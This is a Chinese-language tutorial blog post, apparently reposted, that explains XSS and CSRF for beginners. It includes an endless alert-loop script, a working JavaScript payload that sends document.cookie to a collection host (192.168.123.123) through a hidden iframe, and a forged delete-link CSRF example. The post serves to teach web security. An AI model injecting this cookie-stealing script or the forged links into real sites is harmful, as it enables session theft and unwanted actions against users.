資訊專欄INFORMATION COLUMN
摘要：它允許惡意用戶將代碼注入到網頁上，其他用戶在觀看網頁時就會受到影響。這類攻擊通常包含了以及用戶端腳本語言。更偏向于方法論，更偏向于一種形式，只要是偽造用戶發起的請求，都可成為攻擊。
這兩個關鍵詞也是老生常談了，但是還總是容易讓人忘記與搞混~。
XSS與CSRF這兩個關鍵詞時常被拉出來一起比較（尤其是面試），我在這里也在寫一篇掃盲文，也幫自己整理一下知識脈絡。
這篇文章會用盡量“人話”的語言解釋這二個關鍵詞，讓同學們對跨域，安全有更深一層次的了解。
國際慣例，先上一下維基百科：
XSS：跨站腳本（Cross-site scripting，通常簡稱為XSS）是一種網站應用程序的安全漏洞攻擊，是代碼注入的一種。它允許惡意用戶將代碼注入到網頁上，其他用戶在觀看網頁時就會受到影響。這類攻擊通常包含了HTML以及用戶端腳本語言。
I
CSRF:跨站請求偽造（英語：Cross-site request forgery），也被稱為 one-click attack 或者 session riding，通常縮寫為 CSRF 或者 XSRF， 是一種挾制用戶在當前已登錄的Web應用程序上執行非本意的操作的攻擊方法。
維基的解釋依舊高深莫測啊，我用 “人話”給大家解釋一下吧。
XSS： 通過客戶端腳本語言（最常見如：JavaScript）
在一個論壇發帖中發布一段惡意的JavaScript代碼就是腳本注入，如果這個代碼內容有請求外部服務器，那么就叫做XSS！
CSRF：又稱XSRF，冒充用戶發起請求（在用戶不知情的情況下）,完成一些違背用戶意愿的請求（如惡意發帖，刪帖，改密碼，發郵件等）。
很多同學會搞不明白XSS與CSRF的區別，雖然這兩個關鍵詞時常抱團出現，但他們兩個是不同維度的東西（或者說他們的目的是不一樣的）。
XSS更偏向于方法論，CSRF更偏向于一種形式，只要是偽造用戶發起的請求，都可成為CSRF攻擊。
通常來說CSRF是由XSS實現的，所以CSRF時常也被稱為XSRF[用XSS的方式實現偽造請求]（但實現的方式絕不止一種，還可以直接通過命令行模式（命令行敲命令來發起請求）直接偽造請求[只要通過合法驗證即可]）。
XSS更偏向于代碼實現（即寫一段擁有跨站請求功能的JavaScript腳本注入到一條帖子里，然后有用戶訪問了這個帖子，這就算是中了XSS攻擊了），CSRF更偏向于一個攻擊結果，只要發起了冒牌請求那么就算是CSRF了。
簡單來說，條條大路（XSS路，命令行路）通羅馬（CSRF馬，XSRF馬）。
前面講了那么多理論介紹，那么我們來看一看實際代碼吧。
【 Talk is cheap，Show me the code 】
場景：我在一條帖子里面寫下了如下代碼，發了出去，然后陸陸續續有很多可愛（wu / zhi） 的用戶訪問到這個帖子，然后用戶接下來的所有操作都由我這串代碼掌控了（各種姿勢混著玩~）
如下：
while(true){
alert("你關不掉我");
}
這個就是最原始的腳本注入了。
用戶進來就麻煩了，一直彈窗一直彈窗。
那么XSS（跨站腳本）就是照瓢畫葫了，用JavaScript寫一個請求跨站的腳本就是XSS了，如下：
// 用 包起來放在評論中
(function(window, document) {
// 構造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隱藏 iframe 用于通訊
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 開工
document.body.appendChild(hideFrame);
})(window, document);
此段代碼攜帶著cookie信息傳輸給了 http://192.168.123.123/myxss/... 這段服務器，然后服務器的代碼就可以接收到了用戶的隱私消息，繼而繼續做其他的業務處理（myxss/index.php 中寫一些可怕的代碼，如把用戶信息存進自己的數據庫）。
有沒感覺到背后一寒
看到這里感覺到危險了吧（想想初學程序時我們的站點完全沒有這個意識，活生生的是在裸奔），=
既然此段腳本注入能攜帶著用戶信息到收集服務器，那么再研究研究，他自然能發郵件？發帖？一系列業務邏輯？ ~~當然可以！。
這里tips一下：上面的代碼僅僅是XSS，并沒有發生CSRF，因為192.168.123.123/myxss/index.php 僅僅是把用戶信息存起來了而已，他并沒有“偽造”用戶發起一些請求，所以他只算是XSS攻擊而不算是CSRF攻擊，如果192.168.123.123/myxss/index.php 寫的代碼是 將當前用戶的昵稱改為“我是大笨豬”，那么就算是CSRF攻擊了，因為這段代碼偽造用戶發出了請求（但是用戶卻不自知）。
那么下面我介紹一下最最簡單的CSRF攻擊（沒有用到XSS的哦）：
一個論壇，經過我的多次抓包分析（著重分析請求返回頭，請求返回體）了解到這個論壇的刪帖操作是觸發 csdnblog.com/bbs/delete_article.php?id=“X" 那么，我只需要在論壇中發一帖，包含一鏈接：www.csdnblog.com/bbs/delete_article.php?id=“X" ，只要有用戶點擊了這個鏈接，那么ID為X的這一篇文章就被刪掉了，而且是用戶完全不知情的情況（敲黑板狀：此處我可沒有寫XSS腳本哦，我純粹是發一個url地址出來而已，既然刪除操作可以偽造，那么只要我細細分析，其他操作（發帖，改名字，發私信，只要是這個論壇具有的功能）我都可以偽造咯！
XSS與CSRF講完了，回頭我會講下如何防范XSS與CSRF。
今天國慶日，6天后國足將在西安迎戰敘利亞，此戰勝負十分關鍵！祝好運！國足隊員加油！
參考文章：
https://segmentfault.com/a/11... 《 總結 XSS 與 CSRF 兩種跨站攻擊 》
http://www.lxway.com/48228121... 《CSRF CORS》
學習/（“抄”） 了不少文章（主要是demo代碼不想重復寫了），侵刪。
文章版權歸作者所有，未經允許請勿轉載,若此文章存在違規行為，您可以聯系管理員刪除。
轉載請注明本文地址：http://specialneedsforspecialkids.com/yun/80593.html
摘要：它允許惡意用戶將代碼注入到網頁上，其他用戶在觀看網頁時就會受到影響。這類攻擊通常包含了以及用戶端腳本語言。更偏向于方法論，更偏向于一種形式，只要是偽造用戶發起的請求，都可成為攻擊。 這兩個關鍵詞也是老生常談了，但是還總是容易讓人忘記與搞混~。XSS與CSRF這兩個關鍵詞時常被拉出來一起比較（尤其是面試），我在這里也在寫一篇掃盲文，也幫自己整理一下知識脈絡。 這篇文章會用盡量人話的語言解...
摘要：前者主要由前端與后端合力完成，后者的話通常就是由前端單獨去完成的。畢竟各種防不勝防。日常開發中需要帶有安全意識，端或者服務端都不信任外部的任何輸入，任何參考文章前端安全防劫持與的防御注入的終極解決方案信息安全 距離上一次介紹XSS與CSRF已經過去了漫長了兩個月，工作較忙，文章姍姍來遲。小小回顧一下究竟什么是XSS和CSRF：https://segmentfault.com/a/11....
摘要：前者主要由前端與后端合力完成，后者的話通常就是由前端單獨去完成的。畢竟各種防不勝防。日常開發中需要帶有安全意識，端或者服務端都不信任外部的任何輸入，任何參考文章前端安全防劫持與的防御注入的終極解決方案信息安全 距離上一次介紹XSS與CSRF已經過去了漫長了兩個月，工作較忙，文章姍姍來遲。小小回顧一下究竟什么是XSS和CSRF：https://segmentfault.com/a/11....
摘要：前者主要由前端與后端合力完成，后者的話通常就是由前端單獨去完成的。畢竟各種防不勝防。日常開發中需要帶有安全意識，端或者服務端都不信任外部的任何輸入，任何參考文章前端安全防劫持與的防御注入的終極解決方案信息安全 距離上一次介紹XSS與CSRF已經過去了漫長了兩個月，工作較忙，文章姍姍來遲。小小回顧一下究竟什么是XSS和CSRF：https://segmentfault.com/a/11....
閱讀 511·2023-04-26 00:33
閱讀 3538·2021-11-24 09:39
閱讀 2898·2021-09-22 15:34
閱讀 2316·2019-08-23 18:07
閱讀 2912·2019-08-23 18:04
閱讀 3694·2019-08-23 16:06
閱讀 2893·2019-08-23 15:27
閱讀 1614·2019-08-23 14:32
